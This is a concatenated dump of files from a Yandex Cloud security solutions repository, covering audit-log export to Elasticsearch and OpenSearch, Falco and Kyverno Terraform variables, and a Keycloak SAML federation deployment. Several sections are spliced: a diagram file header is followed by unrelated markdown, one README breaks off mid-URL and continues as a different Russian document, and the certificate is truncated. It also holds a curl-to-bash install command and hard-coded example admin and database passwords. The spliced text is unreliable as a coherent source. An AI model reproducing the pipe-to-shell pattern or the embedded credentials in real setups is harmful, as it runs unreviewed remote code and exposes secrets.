variable "auditlog_worker_namespace" {
description = "The namespace in which the worker chart will be deployed."
type = string
}
variable "auditlog_worker_replicas_count" {
description = "Count of replicas for audit worker."
type = number
}
# FALCO
variable "falco_enabled" {
type = bool
}
variable "falco_prefix" {
type = string
}
variable "falco_worker_chart_name" {
description = "The name of the falco worker helm release"
type = string
}
variable "falco_worker_namespace" {
description = "The namespace in which the worker chart will be deployed."
type = string
}
variable "falco_worker_replicas_count" {
description = "Count of replicas for falco worker."
type = number
}
variable "falco_helm_namespace" {
description = "The namespace in which the helm will be deployed."
type = string
}
# KYVERNO
variable "kyverno_enabled" {
type = bool
}
variable "kyverno_prefix" {
type = string
}
variable "kyverno_worker_chart_name" {
description = "The name of the kyverno worker helm release"
type = string
}
variable "kyverno_worker_namespace" {
description = "The namespace in which the worker chart will be deployed."
type = string
}
variable "kyverno_worker_replicas_count" {
description = "Count of replicas for kyverno worker."
type = number
}
variable "kyverno_helm_namespace" {
description = "The namespace in which the helm will be deployed."
type = string
}
# Variables for Export
variable "fakeeventgenerator_enabled" {
type = bool
}
variable "podSecurityStandard" {
type = string
default = "restricted"
}
variable "validationFailureAction" {
type = string
default = "audit"
}
# FALCO Helm
variable "falco_version" {
type = string
}
variable "falcosidekick_version" {
type = string
}
# KYVERNO Helm
variable "kyverno_version" {
type = string
}
variable "kyverno_policies_version" {
type = string
}
variable "policy_reporter_version" {
type = string
}
================================================
FILE: auditlogs/export-auditlogs-to-ELK_k8s/images/Logo-scheme.drawio
================================================
## Index template
An index template contains all the necessary parameters to create a new index as a result of the rollover:
- Index pattern. Newly created indexes that meet the pattern are automatically created with the template parameters.
- Index settings. In our case, this is the name of the index rollover policy, the number of data replicas, and the `rollover_alias`, that is, the alias that will be moved to the new index.
```
{
"index": {
"lifecycle": {
"name": "audit-trails-ilm",
"rollover_alias": "audit-trails-index"
},
"number_of_replicas": "2"
}
}
```
- Mapping parameters.
## Index lifecycle policy
The index lifecycle policy tracks the lifecycle of our data.
As the data becomes older, you can move it to lower-end servers or disks, and, finally, delete them, after a certain period.
In our example, we configured only the hot phase, with only default metrics for the rollover procedure enabled.
But for production deployment, we recommended to plan for the process of data obsolescence (that is, moving it to "slow" nodes), and deletion.
It is recommended to enable data deletion when you have no other phase but the hot one.
After a certain period, indexes with obsolete data will be deleted.
If you have set up data snapshots, you can enable the delete option only if a snapshot is present. In this case, specify the name of the snapshot policy.
Setting up the snapshot creation policy is described below.
## Snapshot creation policy
Data snapshots are used for backing up data at certain time points. We recommend setting up a snapshot creation policy for your production environment. The snapshots created can be stored in Yandex.Cloud S3 storage. The procedure for setting up the policy with an S3 storage is described below. Snapshots are created incrementally and consume a minimum space in the long run, because only changes are added.
To store snapshots in an S3 storage, you need:
1. Set up a service account to work with S3 and connect it to the Elasticsearch cluster.
2. Configure access rights.
3. Connect the repository to Elasticsearch.
These steps are described in the [documentation](https://cloud.yandex.ru/docs/managed-elasticsearch/operations/s3-access) for Managed Service for Elasticsearch.
Example of a created snapshot repository:
After the repository has been connected to Elasticsearch, you can configure your first snapshot creation policy.
Then use a simple setup wizard to specify:
- The name of the snapshot policy.
- Pattern for the snapshot names.
- A repository for snapshots that your created previously.
- A schedule for creating snapshots (for example, every hour).
- Snapshot parameters: take snapshots for all or specific indexes, retain cluster state in the snapshot, and others.
- Snapshot retention parameters.
The created snapshot policy may look as follows:
After the policy is created, you can see it in the list of all policies wherefrom you can run it and check straight away.
When you run the policy, a new snapshot is created and shown in the list.
The data also appears in the object storage:
The snapshot policy can be used in the index lifecycle policy created previously.
================================================
FILE: auditlogs/export-auditlogs-to-ELK_main/CONFIGURE-HA_RU.md
================================================
# Рекомендации для высокой доступности данных
Наш пример ElasticSearch устанавливается в базовой конфигурации.
В части высокой доступности данных применены следующие механизмы:
- Несколько нод для данных
- Несколько реплик для индексов
- Индексы ротируются (`rollover`) по рекомендованной схеме, а именно:
- По достижению индексом размера в 50ГБ, создается новый индекс, или
- Каждый тридцать дней, создается новый индекс
- Данные отправляются в алиас (`alias`), который привязан к активному индексу, то есть ротация индекса не должна повлиять на работу схемы в примере
## Ротация индекса
Ротация индекса использует следующие сущности в ElasticSearch:
- Индексы и алиас (`alias`) индекса
- Шаблона индекса (`index template`)
- Политика жизненного цикла индекса (`index lifecycle policy`)
Первый индекс в примере создается с цифровым суффиксом — это необходимо, чтобы в результате ротации создался новый индекс с измененным суффиксом.
На созданный индекс назначается алиас, который в процессе ротации переносится на новый индекс.
## Security Content
**Security Content** — объекты OpenSearch , которые автоматически загружаются решением. Весь контент разработан с учетом опыта Security команды Yandex.Cloud и на основе опыта Клиентов облака.
Содержит следующий Security Content:
- Dashboard, на котором отражены все use cases и полезная статистика
- Набор Saved Queries для удобного поиска Security событий
- Пример Alert на которые настроены оповещения (Клиенту самостоятельно необходимо указать назначение уведомлений)
- Все интересные поля событий преобразованы в формат [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/index.html), полная табличка маппинга в файле [Описание объектов](https://github.com/yandex-cloud/yc-solution-library-for-security/blob/master/auditlogs/export-auditlogs-to-ELK_main/papers/Описание%20объектов.pdf)
Подробное описание в файле [ECS-mapping.docx](https://github.com/yandex-cloud/yc-solution-library-for-security/blob/master/auditlogs/export-auditlogs-to-ELK_main/papers/ECS-mapping_new.pdf)
## Процесс обновления контента
Скоро..к следующей версии
## Установка отказоустойчивого OpenSearch Yandex Managed Service for OpenSearch
https://cloud.yandex.ru/docs/managed-opensearch/quickstart
## Установка решения с помощью Terraform
Для установки с помощью terraform перейдите в раздел [terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/add-opensearch-solution/auditlogs/export-auditlogs-to-Opensearch/terraform)
По результатам выполнения tf скрипта и ручных действий указанных ниже, в указанный вами OpenSearch будут загружаться события audit trails из облака и будет загружен security content (dashboard, filters, mapping etc.) для работы с ними
По итогу установки у вас будет создан tenant "at-tenant", в котором находятся все объекты
## Настройка Alerts и Destination
Алертинг и правила реагирования в OpenSearch выполняется с помощью механизма [Alerting](https://opensearch.org/docs/latest/monitoring-plugins/alerting/index/)
Наше решение уже загружает пример monitor, вы можете взять его как пример для старта и сделать алерты по аналогии. Перейдите во вкладку Alerting - Monitors и найдите там "test". Нажмите кнопку edit, промотайте вниз и раскройте вкладку triggers и в ней укажите action. Выберите там заранее созданный канал [нотификации](https://opensearch.org/docs/latest/notifications-plugin/index/) (например slack)
## Самостоятельная Установка all-in-one Openasearch на ВМ
Для устновки opensearch можно воспользоваться оффициальной документацией. Например [установка с помощью docker](https://opensearch.org/docs/2.1/opensearch/install/index/)
Для настройки TLS в opensearch dashboard используйте [инструкцию](https://opensearch.org/docs/2.1/dashboards/install/tls/)
Для генерации самоподпсанного SSL сертификата используйте [инстуркцию](https://opensearch.org/docs/2.1/security-plugin/configuration/generate-certificates/)
Либо загружите ваш собственный сертификат
Здесь представлены тестовые примеры файлов для установки opensearch в разделе [deploy-of-opensearch](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/add-opensearch-solution/auditlogs/export-auditlogs-to-Opensearch/deploy-of-opensearch)
p.s: не забудьте предоставить необходимые права доступа на файлы с сертификатом и ключем
## Рекомендации по настройке retention, rollover и snapshots:
[Рекомендации по настройке retention, rollover и snapshots](./CONFIGURE-HA.md)
================================================
FILE: auditlogs/export-auditlogs-to-Opensearch/README_EN.md
================================================
# Collection, monitoring and analysis of Yandex Cloud audit logs in Opensearch
## Version
**Version-1.1**
- Changelog:
- Docker images:
- `cr.yandex/sol/s3-opensearch-importer:1.1`
## Solution Description
The solution allows you to collect, monitor and analyze Yandex.Cloud audit logs (Audit Trails) in Opensearch from the following sources:
- [Yandex Audit Trails](https://cloud.yandex.ru/docs/audit-trails/)
> The solution is constantly updated and maintained by the Yandex.Cloud Security team.
> Important! By default, this construct suggests deleting files after being subtracted from the bucket, but you can simultaneously store Audit Trails audit logs in S3 on a long-term basis and send them to Elastic. To do this, you need to create two Audit Trails in different S3 buckets:. The first bucket will be used for storage only. The second bucket will be used for integration with Opensearch
## What the solution does
- ☑️ Sends data to an existing Opensearch cluster (if you don't have an Opensearch cluster, use the installation instructions at the end of the page)
- ☑️ Deploys COI Instance with container based on s3-elk-importer image (`cr.yandex/sol/s3-opensearch-importer:latest`)
- ☑️ Upload Security Content to Opensearch (Dashboards, Detection Rules (with alerts), etc.)
- ☑️ Provides continuous delivery of json files with audit logs from Yandex Object Storage (Audit Trails) to Opensearch
- ☑️ Creates indexes on two replicas, configures a basic rollover policy (create new indexes every thirty days or when 50GB is reached), for further tuning in terms of data high availability and for configuring data snapshots in S3 - see [recommendations] (./CONFIGURE -HA.md).
## Solution diagram
#### To be revised
- Function_trigger on Cloud Logging in Terraform
- Audit Trails in Terraform
#### Description
The solution uses Cloud Functions and Audit Trails to perform:
- Telegram alerts for the following Audit Trails events (optional):
- Create danger, ingress ACL in SG (0.0.0.0/0).
- Change Bucket access to public.
- Assign rights to the secret (Lockbox) to some account.
- To be updated on request based on the [list of current use cases](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/_use_cases_and_searches).
- Active response (optional):
- Removing a dangerous security group rule: for Rule No. 1.
- Removing assigned rights for a secret in Lockbox: for Rule #3.
- Telegram alerting for any selected Audit Trails event.
#### Generic diagram
#### Prerequisites:
- :white_check_mark: A custom log group created in Cloud Logging ([instructions](https://cloud.yandex.ru/docs/logging/operations/create-group)).
- :white_check_mark: Audit Trails service enabled with logs output to the Cloud Logging log group ([instructions](https://cloud.yandex.ru/docs/audit-trails/quickstart)).
- :white_check_mark: Service account (it will be granted relevant rights).
- :white_check_mark: A bot created in Telegram ([instructions](https://tlgrm.ru/docs/bots#kak-sozdat-bota)).
- :white_check_mark: ID of the chat with a Telegram bot (to get the Chat ID, first write at least one message to the bot, then use https://api.telegram.org/bot
В данном решение `IdP` развёртывается в виде виртуальной машины с [Keycloak](https://keycloak.org).
Данное решение реализовано в виде двух Terraform модулей:
* [keycloak-deploy](#kc-deploy)
* [keycloak-config](#kc-config)
Разбиение решения на два модуля вызвано тем, что [Keycloak Terraform провайдер](https://registry.tfpla.net/providers/mrparkers/keycloak/latest/docs) требует уже работающего (alive) Keycloak.
### Модуль keycloak-deploy
Модуль `keycloak-deploy` создаёт следующие объекты в Yandex Cloud:
* кластер [Managed Service for PostgreSQL](https://cloud.yandex.ru/docs/managed-postgresql/) - для хранения конфигурации Keycloak
* сертификат [Let's Encrypt](https://letsencrypt.org/) для веб-сервера Keycloak
* статический [публичный IP-адрес](https://cloud.yandex.ru/docs/vpc/concepts/address#public-addresses) для ВМ Keycloak
* [группу безопасности](https://cloud.yandex.ru/docs/vpc/concepts/security-groups) для ВМ Keycloak
* ВМ с решением Keycloak
С полным списком входных параметров модуля можно ознакомиться [по ссылке](./keycloak-deploy/variables.tf).
После завершения своей работы модуль возвращает значение `FQDN` для ВМ с развёрнутым решением Keycloak, например, `kc1.mydom.net`
### Модуль keycloak-config
Модуль `keycloak-config` выполняет следующие действия:
* создаёт [федерацию удостоверений](https://cloud.yandex.ru/docs/organization/add-federation) в Yandex Cloud
* создаёт Realm и сопутствующие объекты в конфигурации Keycloak
* обеспечивает обмен сертификатами между федерацией Yandex Cloud и Keycloak Realm
* создаёт учётную запись для тестового пользователя в Keycloak
* импортирует учётную запись тестового пользователя из Keycloak в организацию Yandex Cloud
С полным списком входных параметров модуля можно ознакомиться [по ссылке](./keycloak-config/variables.tf).
После завершения своей работы модуль возвращает значение `URL` федерации удостоверений, например, `https://console.yandex.ru/federations/bpf3375ucdgp5dxq823tt`
### Синхронизация данных между TF модулями
Модуль `keycloak-config` использует часть входных и выходных данных модуля `keycloak-deploy`.
Развёртывание решения требует последовательного запуска сначала модуля `keycloak-deploy`, а затем модуля `keycloak-config`.
Для исключения ошибок при ручном переносе данных из одного модуля в другой рекомендуется использовать скрипт [sync.sh](./examples/keycloak-config/sync.sh), который синхронизирует нужные данные из модуля `keycloak-deploy` в модуль `keycloak-config`.
## Внешние зависимости
Решение должно развёртываться в уже подготовленной инфраструктуре Yandex Cloud.
Значения параметров инфраструктуры должны передаваться в `TF модули` решения в виде входных переменных.
Перед развёртывание решения в Yandex Cloud уже должны существовать следующие объекты:
* каталог облачных ресурсов (folder) в котором будут развёртываться компоненты решения (`kc_folder_name`)
* [публичная зона](https://cloud.yandex.ru/docs/dns/concepts/dns-zone#public-zones) в сервисе [Cloud DNS](https://cloud.yandex.ru/docs/dns/). Домен, который будет создаваться в сервисе Cloud DNS должен быть предварительно `делегирован` со стороны регистратора домена (`dns_zone_name`)
* сеть (network) в которой будут развёртываться компоненты решения (`kc_network_name`)
* подсеть (subnet) в которой будут развёртываться компоненты решения (`kc_subnet_name`)
В списке выше в круглых скобках указаны имена входных переменных для развёртывания из [keycloak-deploy](./examples/keycloak-deploy/main.tf).
## Порядок развёртывания решения
Развёртывание решения предполагается под управлением ОС `Linux` или `MacOS`.
Развёртывание решения под управлением ОС `Windows` не тестировалось.
1. Загрузить решение из репозитория на [github.com](https://github.com/yandex-cloud/yc-solution-library-for-security):
```bash
curl -s https://raw.githubusercontent.com/yandex-cloud/yc-solution-library-for-security/master/auth_and_access/keycloak/examples/install.sh | bash
```
2. Перейти в папку с примером развёртывания модуля [keycloak-deploy](./examples/keycloak-deploy/):
```bash
cd keycloak/keycloak-deploy
pwd
```
3. `Важно!` Убедиться что все [внешние зависимости](#ext-dep) созданы.
4. Проверить значения переменных в файле [main.tf](./examples/keycloak-deploy/main.tf) и скорректировать их при необходимости.
5. Выполнить инициализацию Terraform:
```bash
source ../env-yc.sh
terraform init
```
6. Выполнить развёртывание `keycloak-deploy`:
```bash
terraform apply
```
Обработка запроса на выдачу сертификата в сервисе [Let's Encrypt](https://letsencrypt.org/) может выполняться `до 30 минут`!
7. Опционально. Проверить состояние выданного сертификата Let's Encrypt:
```bash
yc cm certificate list
```
8. Перейти в папку с примером развёртывания модуля [keycloak-config](./examples/keycloak-config/):
```bash
cd ../keycloak-config
pwd
```
9. Выполнить синхронизацию параметров между TF модулями:
```bash
bash sync.sh
```
10. Проверить значения переменных в файле [main.tf](./examples/keycloak-config/main.tf) и скорректировать их при необходимости.
11. Выполнить инициализацию Terraform:
```bash
terraform init
```
12. Выполнить развёртывание `keycloak-config`:
```bash
terraform apply
```
13. Опционально. Проверить наличие тестовой учётной записи Keycloak в организации Yandex Cloud с помощью `yc CLI`:
```bash
ORG_ID=$(cat terraform.tfstate | jq -r '.resources[] | select(.type == ('\"yandex_organizationmanager_saml_federation\"')) | .instances[0].attributes.organization_id')
yc organization-manager user list --organization-id=$ORG_ID
```
## Результаты развёртывания
В результате развёртывания решения в Yandex Cloud будут созданы следующие объекты:
* [федерация удостоверений]((https://cloud.yandex.ru/docs/organization/add-federation)) в указанной [организации](https://cloud.yandex.ru/docs/organization/add-federation)
* `сертификат` [Let's Encrypt](https://letsencrypt.org/) для ВМ с Keycloak в сервисе [Certificate Manager](https://cloud.yandex.ru/docs/certificate-manager/)
* `виртуальная машина` с IdP Keycloak интегрированная с федерацией на стороне Yandex Cloud
* `запись в Yandex Cloud DNS` с публичным IP-адресом ВМ Keycloak
* `учётная запись` пользователя в IdP Keycloak и её синхронизация в организации Yandex Cloud
После развёртывания решения останется выдать необходимые [роли](https://cloud.yandex.ru/docs/iam/concepts/access-control/roles) на нужные облачные ресурсы для созданной в организации учётной записи пользователя.
================================================
FILE: auth_and_access/keycloak/examples/README.md
================================================
# Пример развёртывания Keycloak с помощью Terraform модулей
* [keycloak-deploy](../keycloak-deploy/)
* [keycloak-config](../keycloak-config/)
================================================
FILE: auth_and_access/keycloak/examples/env-yc.sh
================================================
#!/bin/bash
export YC_TOKEN=$(yc iam create-token)
export TF_VAR_YC_CLOUD_ID=$(yc config get cloud-id)
================================================
FILE: auth_and_access/keycloak/examples/install.sh
================================================
#!/bin/bash
REPO="https://raw.githubusercontent.com/yandex-cloud/yc-solution-library-for-security/master/auth_and_access/keycloak"
mkdir -p keycloak/keycloak-deploy
mkdir -p keycloak/keycloak-config
FILES="examples/env-yc.sh keycloak/env-yc.sh
examples/keycloak-deploy/main.tf keycloak/keycloak-deploy/main.tf
examples/keycloak-deploy/variables.tf keycloak/keycloak-deploy/variables.tf
examples/keycloak-config/main.tf keycloak/keycloak-config/main.tf
examples/keycloak-config/sync.sh keycloak/keycloak-config/sync.sh"
echo "$FILES" | while read URL FILE;
do
curl -sl "$REPO/$URL" -o "$FILE"
done
================================================
FILE: auth_and_access/keycloak/examples/keycloak-config/main.tf
================================================
# ==================================
# Terraform & Provider Configuration
# ==================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.84.0"
}
null = {
source = "hashicorp/null"
version = "~> 3.2.1"
}
# https://registry.tfpla.net/providers/mrparkers/keycloak/latest/docs
keycloak = {
source = "mrparkers/keycloak"
version = "~> 4.1.0"
}
}
}
# ===========================
# Call keycloak-config module
# ===========================
module "keycloak-config" {
source = "git::https://github.com/yandex-cloud/yc-solution-library-for-security.git//auth_and_access/keycloak/keycloak-config"
labels = { tag = "keycloak-config" }
# =====================
# Org/Federation values
# =====================
org_id = "bpfqdgu3d2815fyixlks"
fed_name = "kc-fed"
kc_user = {
name = "user1"
pass = "Gu95-paSw38"
domain = "mydom.net"
}
# ==================
# Keycloak VM values
# ==================
kc_realm_name = "kc1"
kc_realm_descr = "My Keycloak Realm"
kc_fqdn = "kc1.mydom.net"
kc_port = "8443"
kc_adm_user = "admin"
kc_adm_pass = "Fr#dR3n48Ga-Mov"
}
================================================
FILE: auth_and_access/keycloak/examples/keycloak-config/sync.sh
================================================
#!/bin/bash
# Sync required input and output values
# from keycloak-deploy to keycloak-config
SRC_PATH="../keycloak-deploy"
SRC_FN=main.tf
DST_FN=main.tf
KC_FQDN=$(terraform -chdir=$SRC_PATH output -raw kc_fqdn)
KC_PORT=$(grep kc_port $SRC_PATH/$SRC_FN | awk -F "\"" '{print $2}')
KC_ADM_USER=$(grep kc_adm_user $SRC_PATH/$SRC_FN | awk -F "\"" '{print $2}')
KC_ADM_PASS=$(grep kc_adm_pass $SRC_PATH/$SRC_FN | awk -F "\"" '{print $2}')
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
sed -i "s/kc_fqdn.*/kc_fqdn = \"$KC_FQDN\"/" $DST_FN
sed -i "s/kc_port.*/kc_port = \"$KC_PORT\"/" $DST_FN
sed -i "s/kc_adm_user.*/kc_adm_user = \"$KC_ADM_USER\"/" $DST_FN
sed -i "s/kc_adm_pass.*/kc_adm_pass = \"$KC_ADM_PASS\"/" $DST_FN
elif [[ "$OSTYPE" == "darwin"* ]]; then
sed -i '' "s/kc_fqdn.*/kc_fqdn = \"$KC_FQDN\"/" $DST_FN
sed -i '' "s/kc_port.*/kc_port = \"$KC_PORT\"/" $DST_FN
sed -i '' "s/kc_adm_user.*/kc_adm_user = \"$KC_ADM_USER\"/" $DST_FN
sed -i '' "s/kc_adm_pass.*/kc_adm_pass = \"$KC_ADM_PASS\"/" $DST_FN
fi
================================================
FILE: auth_and_access/keycloak/examples/keycloak-deploy/main.tf
================================================
# ==================================
# Terraform & Provider Configuration
# ==================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.84.0"
}
}
}
# ===========================
# Call keycloak-deploy module
# ===========================
module "keycloak-deploy" {
source = "git::https://github.com/yandex-cloud/yc-solution-library-for-security.git//auth_and_access/keycloak/keycloak-deploy"
cloud_id = var.YC_CLOUD_ID
labels = { tag = "keycloak-deploy" }
# ==================
# Keycloak VM values
# ==================
kc_image_folder_id = "standard-images"
kc_image_name = "ubuntu-22-04-lts-v20221226"
kc_folder_name = "infra"
kc_zone_id = "ru-central1-b"
kc_network_name = "infra-net"
kc_subnet_name = "infra-subnet-b"
kc_hostname = "kc1"
kc_vm_sg_name = "kc-sg"
kc_vm_username = "admin"
kc_vm_ssh_key_file = "~/.ssh/id_rsa.pub"
# KC FQDN --> kc1.mydom.net
dns_zone_name = "mydom-net"
kc_ver = "20.0.2"
kc_port = "8443"
kc_adm_user = "admin"
kc_adm_pass = "Fr#dR3n48Ga-Mov"
# =================
# PostgreSQL values
# =================
pg_db_ver = "15"
pg_db_name = "kc1-db"
pg_db_user = "dbadmin"
pg_db_pass = "My82Sup@paS98"
# ===================
# Certificates values
# ===================
kc_cert_path = "/usr/local/etc/certs"
le_cert_name = "kc1"
le_cert_descr = "LE Certificate for Keycloak VM"
le_cert_pub_chain = "cert-pub-chain.pem"
le_cert_priv_key = "cert-priv-key.pem"
}
output "kc_fqdn" {
value = "${module.keycloak-deploy.kc_fqdn}"
}
================================================
FILE: auth_and_access/keycloak/examples/keycloak-deploy/variables.tf
================================================
variable "YC_CLOUD_ID" {
description = "Cloud ID"
}
================================================
FILE: auth_and_access/keycloak/keycloak-config/README.md
================================================
# Keycloak-config Terraform module
================================================
FILE: auth_and_access/keycloak/keycloak-config/federation.tf
================================================
# ========================================================
# YC Federation resource
# Import Keycloak resources into Federation & Organization
# ========================================================
# Create YC Federation
resource "yandex_organizationmanager_saml_federation" kc_fed {
name = var.fed_name
organization_id = var.org_id
issuer = "https://${var.kc_fqdn}:${var.kc_port}/realms/${var.kc_realm_name}"
sso_url = "https://${var.kc_fqdn}:${var.kc_port}/realms/${var.kc_realm_name}/protocol/saml"
sso_binding = "POST"
auto_create_account_on_login = true
security_settings {
encrypted_assertions = true
}
}
# Add Keycloak certificate to the YC Federation
resource "null_resource" "federation_cert" {
provisioner "local-exec" {
command = <<-CMD
echo -----BEGIN CERTIFICATE-----\\n $(curl -s https://${var.kc_fqdn}:${var.kc_port}/realms/${var.kc_realm_name}/protocol/saml/descriptor | awk '{split($0,lst,"X509Certificate>"); print substr(lst[2],1,length(lst[2])-5)}')\\n-----END CERTIFICATE----- | tee ${abspath(path.cwd)}/${var.kc_realm_name}-cert.pem
yc organization-manager federation saml certificate create \
--name=${var.fed_name} \
--federation-id=${yandex_organizationmanager_saml_federation.kc_fed.id} \
--certificate-file=${abspath(path.cwd)}/${var.kc_realm_name}-cert.pem
CMD
}
depends_on = [
keycloak_realm.realm
]
}
# Import Test user account to YC Organization from Keycloak
data "yandex_organizationmanager_saml_federation_user_account" kc_test_user {
federation_id = "${yandex_organizationmanager_saml_federation.kc_fed.id}"
name_id = var.kc_user.name
depends_on = [
null_resource.federation_cert
]
}
output "federation_url" {
value = "https://console.cloud.yandex.ru/federations/${yandex_organizationmanager_saml_federation.kc_fed.id}"
}
================================================
FILE: auth_and_access/keycloak/keycloak-config/keycloak-config.tf
================================================
# ================================
# Keycloak configuration resources
# ================================
# https://registry.tfpla.net/providers/mrparkers/keycloak/latest/docs
provider "keycloak" {
client_id = "admin-cli"
username = var.kc_adm_user
password = var.kc_adm_pass
url = "https://${var.kc_fqdn}:${var.kc_port}"
}
resource "keycloak_realm" "realm" {
realm = var.kc_realm_name
enabled = true
display_name = var.kc_realm_descr
display_name_html = "${var.kc_realm_descr}"
ssl_required = "external"
registration_allowed = false
registration_email_as_username = false
remember_me = false
verify_email = false
reset_password_allowed = false
login_with_email_allowed = false
internationalization {
supported_locales = [ "en" ]
default_locale = "en"
}
security_defenses {
headers {
x_frame_options = "DENY"
content_security_policy = "frame-src 'self'; frame-ancestors 'self'; object-src 'none';"
content_security_policy_report_only = ""
x_content_type_options = "nosniff"
x_robots_tag = "none"
x_xss_protection = "1; mode=block"
strict_transport_security = "max-age=31536000; includeSubDomains"
}
brute_force_detection {
permanent_lockout = false
max_login_failures = 10
wait_increment_seconds = 60
quick_login_check_milli_seconds = 1000
minimum_quick_login_wait_seconds = 60
max_failure_wait_seconds = 900
failure_reset_time_seconds = 43200
}
}
}
resource "keycloak_saml_client" "client" {
realm_id = keycloak_realm.realm.id
name = "${var.fed_name}-federation"
enabled = true
client_id = "https://console.cloud.yandex.ru/federations/${yandex_organizationmanager_saml_federation.kc_fed.id}"
base_url = "https://console.cloud.yandex.ru/federations/${yandex_organizationmanager_saml_federation.kc_fed.id}"
valid_redirect_uris = [ "https://console.cloud.yandex.ru/federations/${yandex_organizationmanager_saml_federation.kc_fed.id}" ]
idp_initiated_sso_relay_state = "https://console.cloud.yandex.ru/federations/${yandex_organizationmanager_saml_federation.kc_fed.id}"
assertion_consumer_redirect_url = "https://console.cloud.yandex.ru"
sign_documents = true
sign_assertions = true
include_authn_statement = true
name_id_format = "username"
force_name_id_format = false
signature_algorithm = "RSA_SHA256"
signature_key_name = "CERT_SUBJECT"
full_scope_allowed = true
client_signature_required = true
force_post_binding = true
encrypt_assertions = true
signing_certificate = file("${abspath(path.module)}/${var.yc_cert}")
encryption_certificate = file("${abspath(path.module)}/${var.yc_cert}")
}
resource "keycloak_generic_protocol_mapper" "role_list_mapper" {
realm_id = keycloak_realm.realm.id
client_id = keycloak_saml_client.client.id
name = "role list"
protocol = "saml"
protocol_mapper = "saml-role-list-mapper"
config = {
"attribute.name" = "Role"
"attribute.nameformat" = "Basic"
"single" = "true"
}
}
resource "keycloak_saml_user_property_protocol_mapper" "property_email" {
realm_id = keycloak_realm.realm.id
client_id = keycloak_saml_client.client.id
name = "X500 email"
user_property = "email"
friendly_name = "email"
saml_attribute_name = "urn:oid:1.2.840.113549.1.9.1"
saml_attribute_name_format = "URI Reference"
}
resource "keycloak_saml_user_property_protocol_mapper" "property_givenname" {
realm_id = keycloak_realm.realm.id
client_id = keycloak_saml_client.client.id
name = "X500 givenName"
user_property = "firstName"
friendly_name = "givenName"
saml_attribute_name = "urn:oid:2.5.4.42"
saml_attribute_name_format = "URI Reference"
}
resource "keycloak_saml_user_property_protocol_mapper" "property_surname" {
realm_id = keycloak_realm.realm.id
client_id = keycloak_saml_client.client.id
name = "X500 surname"
user_property = "lastName"
friendly_name = "surname"
saml_attribute_name = "urn:oid:2.5.4.4"
saml_attribute_name_format = "URI Reference"
}
# Keycloak test user account
resource "keycloak_user" "test_user" {
realm_id = keycloak_realm.realm.id
username = var.kc_user.name
enabled = true
first_name = var.kc_user.name
last_name = var.kc_user.name
email = "${var.kc_user.name}@${var.kc_user.domain}"
attributes = {}
initial_password {
value = var.kc_user.pass
temporary = false
}
}
================================================
FILE: auth_and_access/keycloak/keycloak-config/providers.tf
================================================
# ==================================
# Terraform & Provider Configuration
# ==================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.84.0"
}
null = {
source = "hashicorp/null"
version = "~> 3.2.1"
}
# https://registry.tfpla.net/providers/mrparkers/keycloak/latest/docs
keycloak = {
source = "mrparkers/keycloak"
version = "~> 4.1.0"
}
}
}
================================================
FILE: auth_and_access/keycloak/keycloak-config/variables.tf
================================================
# =======================================
# Keycloak-config module. Input variables
# =======================================
variable "labels" {
description = "A set of key/value label pairs to assign."
type = map(string)
default = null
}
# ========================
# Org/Federation variables
# ========================
variable "org_id" {
description = "YC Organization ID"
type = string
default = null
}
variable "fed_name" {
description = "YC Federation name"
type = string
default = null
}
variable "yc_cert" {
description = "Yandex Cloud SSL certificate"
type = string
default = "yc-root.crt"
}
variable "kc_user" {
description = "Keycloak test user account"
type = map(string) # name & password
default = {}
}
# =====================
# Keycloak VM variables
# =====================
variable "kc_fqdn" {
description = "Keycloak public DNS FQDN"
type = string
default = null
}
variable "kc_port" {
description = "Keycloak HTTPS port listener"
type = string
default = null
}
variable "kc_adm_user" {
description = "Keycloak admin user name"
type = string
default = null
}
variable "kc_adm_pass" {
description = "Keycloak admin user password"
type = string
default = null
}
variable "kc_realm_name" {
description = "Keycloak Realm name"
type = string
default = null
}
variable "kc_realm_descr" {
description = "Keycloak Realm description"
type = string
default = null
}
================================================
FILE: auth_and_access/keycloak/keycloak-config/yc-root.crt
================================================
-----BEGIN CERTIFICATE-----
MIIDjzCCAnegAwIBAgIUF3bSIPKEcz0+93czW8h814WWGl8wDQYJKoZIhvcNAQEL
BQAwVzELMAkGA1UEBhMCUlUxDzANBgNVBAgMBk1vc2NvdzEPMA0GA1UECgwGWWFu
ZGV4MRUwEwYDVQQLDAxZYW5kZXguQ2xvdWQxDzANBgNVBAMMBllhbmRleDAeFw0y
MDAyMTIwODI2NTVaFw0yNTAyMTIwODI2NTVaMFcxCzAJBgNVBAYTAlJVMQ8wDQYD
VQQIDAZNb3Njb3cxDzANBgNVBAoMBllhbmRleDEVMBMGA1UECwwMWWFuZGV4LkNs
b3VkMQ8wDQYDVQQDDAZZYW5kZXgwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDYVcxqC0Ienc85C2oD93GvYB172VSPYuy7umjHa/8Xy8KUGmAjO1pJA2Qv
grs0AmymueM6d6Uw0C7MsDY/Z3eOid9ZRnbmJtfx2MzmyA91Y0ZvcIxYXWa4kloE
iLUMGs94ixgBat+erKN836NVF4mFOtLUsueMOkQkdFw6RPlw9NccEmWxb/XfzA2f
ceCjWFeJt1RQSAMPxmsd+s9NmsaZ7dFsn1Vx/ACLdlzxhyCjf7A5FIRZUxEHQF5U
OP7z2bKkErDivFj19XhZ2whHmHNKy2pvrzZ0ufoy2+isW5HzEn1+DO3hwX8pKOOv
jtKi5vqtsdjteGDmF2+lm+RxrkL/AgMBAAGjUzBRMB0GA1UdDgQWBBRVWZqkoCfZ
HnN6vDN6d5l2tQGp7jAfBgNVHSMEGDAWgBRVWZqkoCfZHnN6vDN6d5l2tQGp7jAP
BgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQA4/gJ1/dawiBYa4hYp
CFsnWIgoJ9iLgG6mOZ6q0xT8X/zAPkA9EeB75OdFPFruAydRlihdiVfrjbdOYoEg
rTbF1jtWAAK+YQpLohrLp070h5PzXMMvso8Tkg4phxLEGhtsHg+SMFipvg0uTG1C
